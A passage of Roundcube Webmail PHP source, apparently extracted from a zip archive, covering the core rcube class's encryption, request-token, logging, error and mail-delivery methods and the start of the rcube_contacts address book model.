     * @param bool   $base64 Whether or not to base64_encode() the result before returning
     *
     * @return string|false Encrypted text, false on error
     */
    public function encrypt($clear, $key = 'des_key', $base64 = true)
    {
        if (!is_string($clear) || !strlen($clear)) {
            return '';
        }

        $ckey   = $this->config->get_crypto_key($key);
        $method = $this->config->get_crypto_method();
        $iv     = rcube_utils::random_bytes(openssl_cipher_iv_length($method), true);
        $tag    = null;

        // This distinction is for PHP 7.3 which throws a warning when
        // we use $tag argument with non-AEAD cipher method here
        if (!preg_match('/-(gcm|ccm|poly1305)$/i', $method)) {
            $cipher = openssl_encrypt($clear, $method, $ckey, OPENSSL_RAW_DATA, $iv);
        }
        else {
            $cipher = openssl_encrypt($clear, $method, $ckey, OPENSSL_RAW_DATA, $iv, $tag);
        }

        if ($cipher === false) {
            self::raise_error([
                    'file'    => __FILE__,
                    'line'    => __LINE__,
                    'message' => "Failed to encrypt data with configured cipher method: $method!"
                ], true, false);

            return false;
        }

        $cipher = $iv . $cipher;

        if ($tag !== null) {
            $cipher = "##{$tag}##{$cipher}";
        }

        return $base64 ? base64_encode($cipher) : $cipher;
    }

    /**
     * Decrypt a string
     *
     * @param string $cipher Encrypted text
     * @param string $key    Encryption key to retrieve from the configuration, defaults to 'des_key'
     * @param bool   $base64 Whether or not input is base64-encoded
     *
     * @return string|false Decrypted text, false on error
     */
    public function decrypt($cipher, $key = 'des_key', $base64 = true)
    {
        if (strlen($cipher) == 0) {
            return false;
        }

        if ($base64) {
            $cipher = base64_decode($cipher);
            if ($cipher === false) {
                return false;
            }
        }

        $ckey    = $this->config->get_crypto_key($key);
        $method  = $this->config->get_crypto_method();
        $iv_size = openssl_cipher_iv_length($method);
        $tag     = null;

        if (preg_match('/^##(.{16})##/s', $cipher, $matches)) {
            $tag    = $matches[1];
            $cipher = substr($cipher, strlen($matches[0]));
        }

        $iv = substr($cipher, 0, $iv_size);

        // session corruption? (#1485970)
        if (strlen($iv) < $iv_size) {
            return false;
        }

        $cipher = substr($cipher, $iv_size);
        $clear  = openssl_decrypt($cipher, $method, $ckey, OPENSSL_RAW_DATA, $iv, $tag);

        return $clear;
    }

    /**
     * Returns session token for secure URLs
     *
     * @param bool $generate Generate token if not exists in session yet
     *
     * @return string|bool Token string, False when disabled
     */
    public function get_secure_url_token($generate = false)
    {
        if ($len = $this->config->get('use_secure_urls')) {
            if (empty($_SESSION['secure_token']) && $generate) {
                // generate x characters long token
                $length = $len > 1 ? $len : 16;
                $token  = rcube_utils::random_bytes($length);

                $plugin = $this->plugins->exec_hook('secure_token', ['value' => $token, 'length' => $length]);

                $_SESSION['secure_token'] = $plugin['value'];
            }

            if (!empty($_SESSION['secure_token'])) {
                return $_SESSION['secure_token'];
            }
        }

        return false;
    }

    /**
     * Generate a unique token to be used in a form request
     *
     * @return string The request token
     */
    public function get_request_token()
    {
        if (empty($_SESSION['request_token'])) {
            $plugin = $this->plugins->exec_hook('request_token', ['value' => rcube_utils::random_bytes(32)]);

            $_SESSION['request_token'] = $plugin['value'];
        }

        return $_SESSION['request_token'];
    }

    /**
     * Check if the current request contains a valid token.
     * Empty requests aren't checked until use_secure_urls is set.
     *
     * @param int $mode Request method
     *
     * @return bool True if request token is valid false if not
     */
    public function check_request($mode = rcube_utils::INPUT_POST)
    {
        // check secure token in URL if enabled
        if ($token = $this->get_secure_url_token()) {
            foreach (explode('/', preg_replace('/[?#&].*$/', '', $_SERVER['REQUEST_URI'])) as $tok) {
                if ($tok == $token) {
                    return true;
                }
            }

            $this->request_status = self::REQUEST_ERROR_URL;

            return false;
        }

        $sess_tok = $this->get_request_token();

        // ajax requests
        if (rcube_utils::request_header('X-Roundcube-Request') === $sess_tok) {
            return true;
        }

        // skip empty requests
        if (($mode == rcube_utils::INPUT_POST && empty($_POST))
            || ($mode == rcube_utils::INPUT_GET && empty($_GET))
        ) {
            return true;
        }

        // default method of securing requests
        $token = rcube_utils::get_input_value('_token', $mode);

        if (empty($_COOKIE[ini_get('session.name')]) || $token !== $sess_tok) {
            $this->request_status = self::REQUEST_ERROR_TOKEN;
            return false;
        }

        return true;
    }

    /**
     * Build a valid URL to this instance of Roundcube
     *
     * @param mixed $p Either a string with the action or url parameters as key-value pairs
     *
     * @return string Valid application URL
     */
    public function url($p)
    {
        // STUB: should be overloaded by the application
        return '';
    }

    /**
     * Function to be executed in script shutdown
     * Registered with register_shutdown_function()
     */
    public function shutdown()
    {
        foreach ($this->shutdown_functions as $function) {
            call_user_func($function);
        }

        // write session data as soon as possible and before
        // closing database connection, don't do this before
        // registered shutdown functions, they may need the session
        // Note: this will run registered gc handlers (ie. cache gc)
        if (!empty($_SERVER['REMOTE_ADDR']) && is_object($this->session)) {
            $this->session->write_close();
        }

        if (is_object($this->smtp)) {
            $this->smtp->disconnect();
        }

        foreach ($this->caches as $cache) {
            if (is_object($cache)) {
                $cache->close();
            }
        }

        if (is_object($this->storage)) {
            $this->storage->close();
        }

        if ($this->config->get('log_driver') == 'syslog') {
            closelog();
        }
    }

    /**
     * Registers shutdown function to be executed on shutdown.
     * The functions will be executed before destroying any
     * objects like smtp, imap, session, etc.
     *
     * @param callable $function Function callback
     */
    public function add_shutdown_function($function)
    {
        $this->shutdown_functions[] = $function;
    }

    /**
     * When you're going to sleep the script execution for a longer time
     * it is good to close all external connections (sql, memcache, redis, SMTP, IMAP).
     *
     * No action is required on wake up, all connections will be
     * re-established automatically.
     */
    public function sleep()
    {
        foreach ($this->caches as $cache) {
            if (is_object($cache)) {
                $cache->close();
            }
        }

        if ($this->storage) {
            $this->storage->close();
        }

        if ($this->db) {
            $this->db->closeConnection();
        }

        if ($this->memcache) {
            $this->memcache->close();
        }

        if ($this->memcached) {
            $this->memcached->quit();
        }

        if ($this->smtp) {
            $this->smtp->disconnect();
        }

        if ($this->redis) {
            $this->redis->close();
        }
    }

    /**
     * Quote a given string.
     * Shortcut function for rcube_utils::rep_specialchars_output()
     *
     * @param string $str      A string to quote
     * @param string $mode     Replace mode for tags: show|remove|strict
     * @param bool   $newlines Convert newlines
     *
     * @return string HTML-quoted string
     */
    public static function Q($str, $mode = 'strict', $newlines = true)
    {
        return rcube_utils::rep_specialchars_output($str, 'html', $mode, $newlines);
    }

    /**
     * Quote a given string for javascript output.
     * Shortcut function for rcube_utils::rep_specialchars_output()
     *
     * @param string $str A string to quote
     *
     * @return string JS-quoted string
     */
    public static function JQ($str)
    {
        return rcube_utils::rep_specialchars_output($str, 'js');
    }

    /**
     * Quote a given string, remove new-line characters, use strict mode.
     * Shortcut function for rcube_utils::rep_specialchars_output()
     *
     * @param string $str A string to quote
     *
     * @return string HTML-quoted string
     */
    public static function SQ($str)
    {
        return rcube_utils::rep_specialchars_output($str, 'html', 'strict', false);
    }

    /**
     * Construct shell command, execute it and return output as string.
     * Keywords {keyword} are replaced with arguments
     *
     * @param string $cmd     Format string with {keywords} to be replaced
     * @param mixed  ...$args (zero, one or more arrays can be passed)
     *
     * @return string Output of command. Shell errors not detectable
     */
    public static function exec($cmd, ...$args)
    {
        $values = $replacements = [];

        // merge values into one array
        foreach ($args as $arg) {
            $values += (array) $arg;
        }

        preg_match_all('/({(-?)([a-z]\w*)})/', $cmd, $matches, PREG_SET_ORDER);
        foreach ($matches as $tags) {
            list(, $tag, $option, $key) = $tags;
            $parts = [];

            if ($option) {
                foreach ((array) $values["-$key"] as $key => $value) {
                    if ($value === true || $value === false || $value === null) {
                        $parts[] = $value ? $key : "";
                    }
                    else {
                        foreach ((array)$value as $val) {
                            $parts[] = "$key " . escapeshellarg($val);
                        }
                    }
                }
            }
            else {
                foreach ((array) $values[$key] as $value) {
                    $parts[] = escapeshellarg($value);
                }
            }

            $replacements[$tag] = implode(' ', $parts);
        }

        // use strtr behaviour of going through source string once
        $cmd = strtr($cmd, $replacements);

        return (string) shell_exec($cmd);
    }

    /**
     * Print or write debug messages
     *
     * @param mixed ...$args Debug message or data
     */
    public static function console(...$args)
    {
        if (class_exists('rcube', false)) {
            $rcube  = self::get_instance();
            $plugin = $rcube->plugins->exec_hook('console', ['args' => $args]);
            if ($plugin['abort']) {
                return;
            }

            $args = $plugin['args'];
        }

        $msg = [];
        foreach ($args as $arg) {
            $msg[] = !is_string($arg) ? var_export($arg, true) : $arg;
        }

        self::write_log('console', implode(";\n", $msg));
    }

    /**
     * Append a line to a logfile in the logs directory.
     * Date will be added automatically to the line.
     *
     * @param string $name Name of the log file
     * @param mixed  $line Line to append
     *
     * @return bool True on success, False on failure
     */
    public static function write_log($name, $line)
    {
        if (!is_string($line)) {
            $line = var_export($line, true);
        }

        $date_format = $log_driver = $session_key = null;
        if (self::$instance) {
            $date_format = self::$instance->config->get('log_date_format');
            $log_driver  = self::$instance->config->get('log_driver');
            $session_key = intval(self::$instance->config->get('log_session_id', 8));
        }

        $date = rcube_utils::date_format($date_format);

        // trigger logging hook
        if (is_object(self::$instance) && is_object(self::$instance->plugins)) {
            $log = self::$instance->plugins->exec_hook('write_log',
                ['name' => $name, 'date' => $date, 'line' => $line]
            );

            $name = $log['name'];
            $line = $log['line'];
            $date = $log['date'];

            if (!empty($log['abort'])) {
                return true;
            }
        }

        // add session ID to the log
        if ($session_key > 0 && ($sess = session_id())) {
            $line = '<' . substr($sess, 0, $session_key) . '> ' . $line;
        }

        if ($log_driver == 'syslog') {
            $prio = $name == 'errors' ? LOG_ERR : LOG_INFO;
            return syslog($prio, $line);
        }

        // write message with file name when configured to log to STDOUT
        if ($log_driver == 'stdout') {
            $stdout = "php://stdout";
            $line = "$name: $line\n";
            return file_put_contents($stdout, $line, FILE_APPEND) !== false;
        }

        // log_driver == 'file' is assumed here

        $line = sprintf("[%s]: %s\n", $date, $line);

        // per-user logging is activated
        if (self::$instance && self::$instance->config->get('per_user_logging')
            && self::$instance->get_user_id()
            && !in_array($name, ['userlogins', 'sendmail'])
        ) {
            $log_dir = self::$instance->get_user_log_dir();
            if (empty($log_dir) && $name !== 'errors') {
                return false;
            }
        }

        if (empty($log_dir)) {
            if (!empty($log['dir'])) {
                $log_dir = $log['dir'];
            }
            else if (self::$instance) {
                $log_dir = self::$instance->config->get('log_dir');
            }
        }

        if (empty($log_dir)) {
            $log_dir = RCUBE_INSTALL_PATH . 'logs';
        }

        if (self::$instance) {
            $name .= self::$instance->config->get('log_file_ext', '.log');
        }
        else {
            $name .= '.log';
        }

        return file_put_contents("$log_dir/$name", $line, FILE_APPEND) !== false;
    }

    /**
     * Throw system error, with optional logging and script termination.
     *
     * @param array|Throwable|string|PEAR_Error $arg Error object, string or named parameters array:
     *                                               - code:    Error code (required)
     *                                               - type:    Error type: php, db, imap, etc.
     *                                               - message: Error message
     *                                               - file:    File where error occurred
     *                                               - line:    Line where error occurred
     * @param bool $log       True to log the error
     * @param bool $terminate Terminate script execution
     */
    public static function raise_error($arg, $log = false, $terminate = false)
    {
        // handle PHP exceptions and errors
        if ($arg instanceof Throwable) {
            $arg = [
                'code' => $arg->getCode(),
                'line' => $arg->getLine(),
                'file' => $arg->getFile(),
                'message' => $arg->getMessage(),
            ];
        }
        else if (is_object($arg) && is_a($arg, 'PEAR_Error')) {
            $info = $arg->getUserInfo();
            $arg  = [
                'code'    => $arg->getCode(),
                'message' => $arg->getMessage() . ($info ? ': ' . $info : ''),
            ];
        }
        else if (is_string($arg)) {
            $arg = ['message' => $arg];
        }

        if (empty($arg['code'])) {
            $arg['code'] = 500;
        }

        $cli = php_sapi_name() == 'cli';

        $arg['cli'] = $cli;
        $arg['log'] = $log;
        $arg['terminate'] = $terminate;

        // send error to external error tracking tool
        if (self::$instance) {
            $arg = self::$instance->plugins->exec_hook('raise_error', $arg);
        }

        // installer
        if (!$cli && class_exists('rcmail_install', false)) {
            $rci = rcmail_install::get_instance();
            $rci->raise_error($arg);
            return;
        }

        if (!isset($arg['message'])) {
            $arg['message'] = '';
        }

        if (($log || $terminate) && !$cli && $arg['message']) {
            $arg['fatal'] = $terminate;
            self::log_bug($arg);
        }

        if ($cli) {
            fwrite(STDERR, 'ERROR: ' . trim($arg['message']) . "\n");
        }
        else if ($terminate && is_object(self::$instance->output)) {
            self::$instance->output->raise_error($arg['code'], $arg['message']);
        }
        else if ($terminate) {
            header("HTTP/1.0 500 Internal Error");
        }

        // terminate script
        if ($terminate) {
            if (defined('ROUNDCUBE_TEST_MODE') && ROUNDCUBE_TEST_MODE) {
                throw new Exception('Error raised');
            }
            exit(1);
        }
    }

    /**
     * Log an error
     *
     * @param array $arg_arr Named parameters
     * @see self::raise_error()
     */
    public static function log_bug($arg_arr)
    {
        $program = !empty($arg_arr['type']) ? strtoupper($arg_arr['type']) : 'PHP';
        $uri     = $_SERVER['REQUEST_URI'] ?? '';

        // write error to local log file
        if ($_SERVER['REQUEST_METHOD'] == 'POST') {
            $post_query = [];
            foreach (['_task', '_action'] as $arg) {
                if (isset($_POST[$arg]) && !isset($_GET[$arg])) {
                    $post_query[$arg] = $_POST[$arg];
                }
            }

            if (!empty($post_query)) {
                $uri .= (strpos($uri, '?') != false ? '&' : '?')
                    . http_build_query($post_query, '', '&');
            }
        }

        $log_entry = sprintf("%s Error: %s%s (%s %s)",
            $program,
            $arg_arr['message'],
            !empty($arg_arr['file']) ? sprintf(' in %s on line %d', $arg_arr['file'], $arg_arr['line']) : '',
            $_SERVER['REQUEST_METHOD'],
            strip_tags($uri)
        );

        if (!self::write_log('errors', $log_entry)) {
            // send error to PHPs error handler if write_log didn't succeed
            trigger_error($arg_arr['message'], E_USER_WARNING);
        }
    }

    /**
     * Write debug info to the log
     *
     * @param string $engine Engine type - file name (memcache, apc, redis)
     * @param string $data   Data string to log
     * @param bool   $result Operation result
     */
    public static function debug($engine, $data, $result = null)
    {
        static $debug_counter;

        $line = '[' . (++$debug_counter[$engine]) . '] ' . $data;

        if (($len = strlen($line)) > self::DEBUG_LINE_LENGTH) {
            $diff = $len - self::DEBUG_LINE_LENGTH;
            $line = substr($line, 0, self::DEBUG_LINE_LENGTH) . "... [truncated $diff bytes]";
        }

        if ($result !== null) {
            $line .= ' [' . ($result ? 'TRUE' : 'FALSE') . ']';
        }

        self::write_log($engine, $line);
    }

    /**
     * Returns current time (with microseconds).
     *
     * @return float Current time in seconds since the Unix
     */
    public static function timer()
    {
        return microtime(true);
    }

    /**
     * Logs time difference according to provided timer
     *
     * @param float  $timer Timer (self::timer() result)
     * @param string $label Log line prefix
     * @param string $dest  Log file name
     *
     * @see self::timer()
     */
    public static function print_timer($timer, $label = 'Timer', $dest = 'console')
    {
        static $print_count = 0;

        $print_count++;
        $now  = self::timer();
        $diff = $now - $timer;

        if (empty($label)) {
            $label = 'Timer '.$print_count;
        }

        self::write_log($dest, sprintf("%s: %0.4f sec", $label, $diff));
    }

    /**
     * Setter for system user object
     *
     * @param rcube_user $user Current user instance
     */
    public function set_user($user)
    {
        if (is_object($user)) {
            $this->user = $user;

            // overwrite config with user preferences
            $this->config->set_user_prefs((array)$this->user->get_prefs());
        }
    }

    /**
     * Getter for logged user ID.
     *
     * @return mixed User identifier
     */
    public function get_user_id()
    {
        if (is_object($this->user)) {
            return $this->user->ID;
        }
        else if (isset($_SESSION['user_id'])) {
            return $_SESSION['user_id'];
        }
    }

    /**
     * Getter for logged user name.
     *
     * @return string User name
     */
    public function get_user_name()
    {
        if (is_object($this->user)) {
            return $this->user->get_username();
        }
        else if (isset($_SESSION['username'])) {
            return $_SESSION['username'];
        }
    }

    /**
     * Getter for logged user email (derived from user name not identity).
     *
     * @return string User email address
     */
    public function get_user_email()
    {
        if (!empty($this->user_email)) {
            return $this->user_email;
        }

        if (is_object($this->user)) {
            return $this->user->get_username('mail');
        }
    }

    /**
     * Getter for logged user password.
     *
     * @return string User password
     */
    public function get_user_password()
    {
        if (!empty($this->password)) {
            return $this->password;
        }

        if (isset($_SESSION['password'])) {
            return $this->decrypt($_SESSION['password']);
        }
    }

    /**
     * Get the per-user log directory
     *
     * @return string|false Per-user log directory if it exists and is writable, False otherwise
     */
    protected function get_user_log_dir()
    {
        $log_dir      = $this->config->get('log_dir', RCUBE_INSTALL_PATH . 'logs');
        $user_name    = $this->get_user_name();
        $user_log_dir = $log_dir . '/' . $user_name;

        return !empty($user_name) && is_writable($user_log_dir) ? $user_log_dir : false;
    }

    /**
     * Getter for logged user language code.
     *
     * @return string User language code
     */
    public function get_user_language()
    {
        if (is_object($this->user)) {
            return $this->user->language;
        }
        else if (isset($_SESSION['language'])) {
            return $_SESSION['language'];
        }
    }

    /**
     * Unique Message-ID generator.
     *
     * @param string $sender Optional sender e-mail address
     *
     * @return string Message-ID
     */
    public function gen_message_id($sender = null)
    {
        $local_part  = md5(uniqid('rcube'.mt_rand(), true));
        $domain_part = '';

        if ($sender && preg_match('/@([^\s]+\.[a-z0-9-]+)/', $sender, $m)) {
            $domain_part = $m[1];
        }
        else {
            $domain_part = $this->user->get_username('domain');
        }

        // Try to find FQDN, some spamfilters doesn't like 'localhost' (#1486924)
        if (!preg_match('/\.[a-z0-9-]+$/i', $domain_part)) {
            foreach ([$_SERVER['HTTP_HOST'], $_SERVER['SERVER_NAME']] as $host) {
                $host = preg_replace('/:[0-9]+$/', '', $host);
                if ($host && preg_match('/\.[a-z]+$/i', $host)) {
                    $domain_part = $host;
                    break;
                }
            }
        }

        return sprintf('<%s@%s>', $local_part, $domain_part);
    }

    /**
     * Send the given message using the configured method.
     *
     * @param Mail_Mime    &$message    Reference to Mail_MIME object
     * @param string       $from        Sender address string
     * @param array|string $mailto      Either a comma-separated list of recipients (RFC822 compliant),
     *                                  or an array of recipients, each RFC822 valid
     * @param array|string &$error      SMTP error array or (deprecated) string
     * @param string       &$body_file  Location of file with saved message body,
     *                                  used when delay_file_io is enabled
     * @param array        $options     SMTP options (e.g. DSN request)
     * @param bool         $disconnect  Close SMTP connection ASAP
     *
     * @return bool Send status.
     */
    public function deliver_message(&$message, $from, $mailto, &$error,
        &$body_file = null, $options = null, $disconnect = false)
    {
        $plugin = $this->plugins->exec_hook('message_before_send', [
                'message' => $message,
                'from'    => $from,
                'mailto'  => $mailto,
                'options' => $options,
        ]);

        if ($plugin['abort']) {
            if (!empty($plugin['error'])) {
                $error = $plugin['error'];
            }
            if (!empty($plugin['body_file'])) {
                $body_file = $plugin['body_file'];
            }

            return $plugin['result'] ?? false;
        }

        $from    = $plugin['from'];
        $mailto  = $plugin['mailto'];
        $options = $plugin['options'];
        $message = $plugin['message'];
        $headers = $message->headers();

        // generate list of recipients
        $a_recipients = (array) $mailto;

        if (!empty($headers['Cc'])) {
            $a_recipients[] = $headers['Cc'];
        }
        if (!empty($headers['Bcc'])) {
            $a_recipients[] = $headers['Bcc'];
        }

        // remove Bcc header and get the whole head of the message as string
        $smtp_headers = $message->txtHeaders(['Bcc' => null], true);

        if ($message->getParam('delay_file_io')) {
            // use common temp dir
            $body_file   = rcube_utils::temp_filename('msg');
            $mime_result = $message->saveMessageBody($body_file);

            if (is_a($mime_result, 'PEAR_Error')) {
                self::raise_error([
                        'code' => 650, 'file' => __FILE__, 'line' => __LINE__,
                        'message' => "Could not create message: ".$mime_result->getMessage()
                    ],
                    true, false
                );
                return false;
            }

            $msg_body = fopen($body_file, 'r');
        }
        else {
            $msg_body = $message->get();
        }

        // initialize SMTP connection
        if (!is_object($this->smtp)) {
            $this->smtp_init(true);
        }

        // send message
        $sent     = $this->smtp->send_mail($from, $a_recipients, $smtp_headers, $msg_body, $options);
        $response = $this->smtp->get_response();
        $error    = $this->smtp->get_error();

        if (!$sent) {
            self::raise_error([
                    'code' => 800, 'type' => 'smtp',
                    'line' => __LINE__, 'file' => __FILE__,
                    'message' => implode("\n", $response)
                ], true, false);

            // allow plugins to catch sending errors with the same parameters as in 'message_before_send'
            $plugin = $this->plugins->exec_hook('message_send_error', $plugin + ['error' => $error]);
            $error = $plugin['error'];
        }
        else {
            $this->plugins->exec_hook('message_sent', ['headers' => $headers, 'body' => $msg_body, 'message' => $message]);

            // remove MDN/DSN headers after sending
            unset($headers['Return-Receipt-To'], $headers['Disposition-Notification-To']);

            if ($this->config->get('smtp_log')) {
                // get all recipient addresses
                $mailto = implode(',', $a_recipients);
                $mailto = rcube_mime::decode_address_list($mailto, null, false, null, true);

                self::write_log('sendmail', sprintf("User %s [%s]; Message %s for %s; %s",
                    $this->user->get_username(),
                    rcube_utils::remote_addr(),
                    $headers['Message-ID'],
                    implode(', ', $mailto),
                    !empty($response) ? implode('; ', $response) : '')
                );
            }
        }

        if (is_resource($msg_body)) {
            fclose($msg_body);
        }

        if ($disconnect) {
            $this->smtp->disconnect();
        }

        // Add Bcc header back
        if (!empty($headers['Bcc'])) {
            $message->headers(['Bcc' => $headers['Bcc']], true);
        }

        return $sent;
    }
}


/**
 * Lightweight plugin API class serving as a dummy if plugins are not enabled
 *
 * @package    Framework
 * @subpackage Core
 */
class rcube_dummy_plugin_api
{
    /**
     * Triggers a plugin hook.
     *
     * @param string $hook Hook name
     * @param array  $args Hook arguments
     *
     * @return array Hook arguments
     * @see rcube_plugin_api::exec_hook()
     */
    public function exec_hook($hook, $args = [])
    {
        if (!is_array($args)) {
            $args = ['arg' => $args];
        }

        return $args += ['abort' => false];
    }
}
PK
h�\&�!W�W�(program/lib/Roundcube/rcube_contacts.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Interface to the local address book database                        |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

/**
 * Model class for the local address book database
 *
 * @package    Framework
 * @subpackage Addressbook
 */
class rcube_contacts extends rcube_addressbook
{
    // protected for backward compat. with some plugins
    protected $db_name         = 'contacts';
    protected $db_groups       = 'contactgroups';
    protected $db_groupmembers = 'contactgroupmembers';
    protected $vcard_fieldmap  = [];

    /**
     * Store database connection.
     *
     * @var rcube_db
     */
    protected $db      = null;
    protected $user_id = 0;
    protected $filter  = null;
    protected $result  = null;
    protected $cache;
    protected $table_cols    = ['name', 'email', 'firstname', 'surname'];
    protected $fulltext_cols = ['name', 'firstname', 'surname', 'middlename', 'nickname',
        'jobtitle', 'organization', 'department', 'maidenname', 'email', 'phone',
        'address', 'street', 'locality', 'zipcode', 'region', 'country', 'website', 'im', 'notes'];

    // public properties
    public $primary_key = 'contact_id';
    public $name;
    public $readonly  = false;
    public $groups    = true;
    public $undelete  = true;
    public $list_page = 1;
    public $page_size = 10;
    public $group_id  = 0;
    public $ready     = false;
    public $coltypes  = ['name', 'firstname', 'surname', 'middlename', 'prefix', 'suffix', 'nickname',
        'jobtitle', 'organization', 'department', 'assistant', 'manager',
        'gender', 'maidenname', 'spouse', 'email', 'phone', 'address',
        'birthday', 'anniversary', 'website', 'im', 'notes', 'photo'];
    public $date_cols = ['birthday', 'anniversary'];

    const SEPARATOR = ',';


    /**
     * Object constructor
     *
     * @param object $dbconn Instance of the rcube_db class
     * @param int    $user   User-ID
     */
    function __construct($dbconn, $user)
    {
        $this->db      = $dbconn;
        $this->user_id = $user;
        $this->ready   = $this->db && !$this->db->is_error();
    }

    /**
     * Returns addressbook name
     *
     * @return string
     */
     function get_name()
     {
        return $this->name;
     }

    /**
     * Save a search string for future listings
     *
     * @param string $filter SQL params to use in listing method
     */
    function set_search_set($filter)
    {
        $this->filter = $filter;
        $this->cache  = null;
    }

    /**
     * Getter for saved search properties
     *
     * @return mixed Search properties used by this class
     */
    function get_search_set()
    {
        return $this->filter;
    }

    /**
     * Setter for the current group
     * (empty, has to be re-implemented by extending class)
     */
    function set_group($gid)
    {
        $this->group_id = $gid;
        $this->cache    = null;
    }

    /**
     * Reset all saved results and search parameters
     */
    function reset()
    {
        $this->result = null;
        $this->filter = null;
        $this->cache  = null;
    }

    /**
     * List all active contact groups of this source
     *
     * @param string $search Search string to match group name
     * @param int    $mode   Matching mode. Sum of rcube_addressbook::SEARCH_*
     *
     * @return array Indexed list of contact groups, each a hash array
     */
    function list_groups($search = null, $mode = 0)
    {
        $results = [];

        if (!$this->groups) {
            return $results;
        }

        $sql_filter = '';

        if ($search) {
            if ($mode & rcube_addressbook::SEARCH_STRICT) {
                $sql_filter = $this->db->ilike('name', $search);
            }
            else if ($mode & rcube_addressbook::SEARCH_PREFIX) {
                $sql_filter = $this->db->ilike('name', $search . '%');
            }
            else {
                $sql_filter = $this->db->ilike('name', '%' . $search . '%');
            }

            $sql_filter = " AND $sql_filter";
        }

        $sql_result = $this->db->query(
            "SELECT * FROM " . $this->db->table_name($this->db_groups, true)
            . " WHERE `del` <> 1 AND `user_id` = ?" . $sql_filter
            . " ORDER BY `name`",
            $this->user_id
        );

        while ($sql_result && ($sql_arr = $this->db->fetch_assoc($sql_result))) {
            $sql_arr['ID'] = $sql_arr['contactgroup_id'];
            $results[]     = $sql_arr;
        }

        return $results;
    }

    /**
     * Get group properties such as name and email address(es)
     *
     * @param string $group_id Group identifier
     *
     * @return ?array Group properties as hash array, null in case of error.
     */
    function get_group($group_id)
    {
        $sql_result = $this->db->query(
            "SELECT * FROM " . $this->db->table_name($this->db_groups, true)
            . " WHERE `del` <> 1 AND `contactgroup_id` = ? AND `user_id` = ?",
            $group_id, $this->user_id
        );

        if ($sql_result && ($sql_arr = $this->db->fetch_assoc($sql_result))) {
            $sql_arr['ID'] = $sql_arr['contactgroup_id'];
            return $sql_arr;
        }

        return null;
    }

    /**
     * List the current set of contact records
     *
     * @param array $cols    List of cols to show, Null means all
     * @param int   $subset  Only return this number of records, use negative values for tail
     * @param bool  $nocount True to skip the count query (select only)
     *
     * @return array Indexed list of contact records, each a hash array
     */
    function list_records($cols = null, $subset = 0, $nocount = false)
    {
        if ($nocount || $this->list_page <= 1) {
            // create dummy result, we don't need a count now
            $this->result = new rcube_result_set();
        } else {
            // count all records
            $this->result = $this->count();
        }

        $start_row = $subset < 0 ? $this->result->first + $this->page_size + $subset : $this->result->first;
        $length    = $subset != 0 ? abs($subset) : $this->page_size;
        $join      = '';

        if ($this->group_id) {
            $join = " LEFT JOIN " . $this->db->table_name($this->db_groupmembers, true) . " AS m".
                " ON (m.`contact_id` = c.`".$this->primary_key."`)";
        }

        $order_col  = in_array($this->sort_col, $this->table_cols) ? $this->sort_col : 'name';
        $order_cols = ["c.`$order_col`"];

        if ($order_col == 'firstname') {
            $order_cols[] = 'c.`surname`';
        }
        else if ($order_col == 'surname') {
            $order_cols[] = 'c.`firstname`';
        }
        if ($order_col != 'name') {
            $order_cols[] = 'c.`name`';
        }
        $order_cols[] = 'c.`email`';

        $sql_result = $this->db->limitquery(
            "SELECT * FROM " . $this->db->table_name($this->db_name, true) . " AS c" .
            $join .
            " WHERE c.`del` <> 1" .
                " AND c.`user_id` = ?" .
                ($this->group_id ? " AND m.`contactgroup_id` = ?" : "").
                ($this->filter ? " AND ".$this->filter : "") .
            " ORDER BY ". $this->db->concat($order_cols) . " " . $this->sort_order,
            $start_row,
            $length,
            $this->user_id,
            $this->group_id
        );

        // determine whether we have to parse the vcard or if only db cols are requested
        $read_vcard = !$cols || count(array_intersect($cols, $this->table_cols)) < count($cols);

        while ($sql_result && ($sql_arr = $this->db->fetch_assoc($sql_result))) {
            $sql_arr['ID'] = $sql_arr[$this->primary_key];

            if ($read_vcard) {
                $sql_arr = $this->convert_db_data($sql_arr);
            }
            else {
                $sql_arr['email'] = $sql_arr['email'] ? explode(self::SEPARATOR, $sql_arr['email']) : [];
                $sql_arr['email'] = array_map('trim', $sql_arr['email']);
            }

            $this->result->add($sql_arr);
        }

        $cnt = count($this->result->records);

        // update counter
        if ($nocount) {
            $this->result->count = $cnt;
        }
        else if ($this->list_page <= 1) {
            if ($cnt < $this->page_size && $subset == 0) {
                $this->result->count = $cnt;
            }
            else if (isset($this->cache['count'])) {
                $this->result->count = $this->cache['count'];
            }
            else {
                $this->result->count = $this->_count();
            }
        }

        return $this->result;
    }

    /**
     * Search contacts
     *
     * @param mixed $fields   The field name or array of field names to search in
     * @param mixed $value    Search value (or array of values when $fields is array)
     * @param int   $mode     Search mode. Sum of rcube_addressbook::SEARCH_*
     * @param bool  $select   True if results are requested, False if count only
     * @param bool  $nocount  True to skip the count query (select only)
     * @param array $required List of fields that cannot be empty
     *
     * @return rcube_result_set Contact records and 'count' value
     */
    function search($fields, $value, $mode = 0, $select = true, $nocount = false, $required = [])
    {
        if (!is_array($required) && !empty($required)) {
            $required = [$required];
        }

        $where = $post_search = [];
        $mode  = intval($mode);

        // direct ID search
        if ($fields == 'ID' || $fields == $this->primary_key) {
            $ids     = !is_array($value) ? explode(self::SEPARATOR, $value) : $value;
            $ids     = $this->db->array2list($ids, 'integer');
            $where[] = 'c.' . $this->primary_key.' IN ('.$ids.')';
        }
        else if (is_array($value)) {
            foreach ((array) $fields as $idx => $col) {
                $val = $value[$idx];

                if (!strlen($val)) {
                    continue;
                }

                // table column
                if (in_array($col, $this->table_cols)) {
                    $where[] = $this->fulltext_sql_where($val, $mode, $col);
                }
                // vCard field
                else {
                    if (in_array($col, $this->fulltext_cols)) {
                        $where[] = $this->fulltext_sql_where($val, $mode, 'words');
                    }
                    $post_search[$col] = mb_strtolower($val);
                }
            }
        }
        // fulltext search in all fields
        else if ($fields == '*') {
            $where[] = $this->fulltext_sql_where($value, $mode, 'words');
        }
        else {
            // require each word in to be present in one of the fields
            $words = ($mode & rcube_addressbook::SEARCH_STRICT) ? [$value] : rcube_utils::tokenize_string($value, 1);
            foreach ($words as $word) {
                $groups = [];
                foreach ((array) $fields as $idx => $col) {
